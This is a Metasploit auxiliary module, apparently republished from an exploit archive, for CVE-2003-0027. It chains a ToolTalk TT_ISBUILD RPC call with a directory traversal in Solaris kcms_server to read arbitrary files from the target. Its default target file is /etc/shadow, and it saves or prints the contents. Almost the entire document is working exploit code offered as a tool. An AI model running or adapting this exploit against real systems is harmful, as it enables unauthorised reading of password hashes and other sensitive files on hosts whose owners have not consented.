Share
## https://sploitus.com/exploit?id=PACKETSTORM:180772
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SunRPC  
  
def initialize  
super(  
'Name' => 'Solaris KCMS + TTDB Arbitrary File Read',  
'Description' => %q{  
This module targets a directory traversal vulnerability in the  
kcms_server component from the Kodak Color Management System. By  
utilizing the ToolTalk Database Server\'s TT_ISBUILD procedure, an  
attacker can bypass existing directory traversal validation and  
read arbitrary files.  
  
Vulnerable systems include Solaris 2.5 - 9 SPARC and x86. Both  
kcms_server and rpc.ttdbserverd must be running on the target  
host.  
},  
'Author' =>  
[  
'vlad902 <vlad902[at]gmail.com>', # MSF v2 module  
'jduck' # Ported to MSF v3  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2003-0027'],  
['OSVDB', '8201'],  
['BID', '6665'],  
['URL', 'http://marc.info/?l=bugtraq&m=104326556329850&w=2']  
],  
# Tested OK against sol8.tor 20100624 -jjd  
'DisclosureDate' => 'Jan 22 2003')  
  
register_options(  
[  
OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'etc/shadow']),  
OptString.new('OUTPUTPATH', [ false, "Local path to save the file contents to", nil ])  
])  
end  
  
def run  
  
# There is a fixed size buffer in use, so make sure we don't exceed it..  
# (NOTE: 24 bytes are reserved for traversal string)  
path = datastore['PATH']  
if (path.length > 1000)  
raise RuntimeError, "File name is too long."  
end  
  
print_status("Making request to the ToolTalk Database Server...")  
  
# Hopefully one of these works ;)  
ttdb_build("/etc/openwin/devdata/profiles/TT_DB/oid_container")  
ttdb_build("/etc/openwin/etc/devdata/TT_DB/oid_container")  
  
# If not, we'll find out now ...  
print_status("Making open() request to the kcms_server...")  
sunrpc_create('tcp', 100221, 1)  
sunrpc_authunix('localhost', 0, 0, [])  
  
# Prepare the traversing request for kcms_server  
trav = 'TT_DB/' + ('../' * 5) + path  
buf = Rex::Encoder::XDR.encode(  
[trav, 1024],  
0, # O_RDONLY  
0755) # mode  
  
# Make the request  
ret = sunrpc_call(1003, buf)  
ack, fsize, fd = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer)  
  
if (ack != 0)  
print_error("KCMS open() failed (ack: 0x%x != 0)" % ack)  
  
if (fsize == 0)  
print_status("File does not exist (or host is patched)")  
end  
return  
end  
  
# Nice, open succeeded, show the return data  
print_status("fd: #{fd}, file size #{fsize}")  
  
print_status("Making read() request to the kcms_server...")  
buf = Rex::Encoder::XDR.encode(  
fd,  
0,  
fsize)  
  
ret = sunrpc_call(1005, buf)  
x, data = Rex::Encoder::XDR.decode!(ret, Integer, [Integer])  
  
# If we got something back...  
if (data)  
data = data.pack('C*')  
  
# Store or display the results  
if (datastore['OUTPUTPATH'])  
fname = datastore['PATH'].gsub(/[\/\\]/, '_')  
outpath = File.join(datastore['OUTPUTPATH'], fname)  
print_status("Saving contents to #{outpath} ...")  
File.open(outpath, "wb") { |fd|  
fd.write(data)  
}  
else  
print_status("File contents:")  
print_status(data.inspect)  
end  
else  
print_error("No data returned!")  
end  
  
# Close it regardless if it returned anything..  
print_status("Making close() request to the kcms_server...")  
buf = Rex::Encoder::XDR.encode(fd)  
sunrpc_call(1004, buf)  
  
# done  
sunrpc_destroy  
  
rescue Timeout::Error, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Rex::Proto::SunRPC::RPCError => e  
print_error(e.to_s)  
rescue ::Rex::Proto::SunRPC::RPCTimeout  
print_warning 'Warning: ' + $!  
print_warning 'Exploit may or may not have succeeded.'  
end  
  
  
#  
# Send a TT_ISBUILD request to rpc.ttdbserverd  
#  
def ttdb_build(path)  
sunrpc_create('tcp', 100083, 1)  
sunrpc_authunix('localhost', 0, 0, [])  
msg = Rex::Encoder::XDR.encode(  
[path, 1024],  
path.length,  
1, # KEY (VArray head?)  
2,  
1,  
0, # KEYDESC  
2,  
1,  
# 21 zeros, /KEYDESC, /KEY  
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,  
0x10002,  
path.length)  
ret = sunrpc_call(3, msg)  
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer)  
print_status("TTDB reply: 0x%x, %d" % arr)  
sunrpc_destroy  
end  
end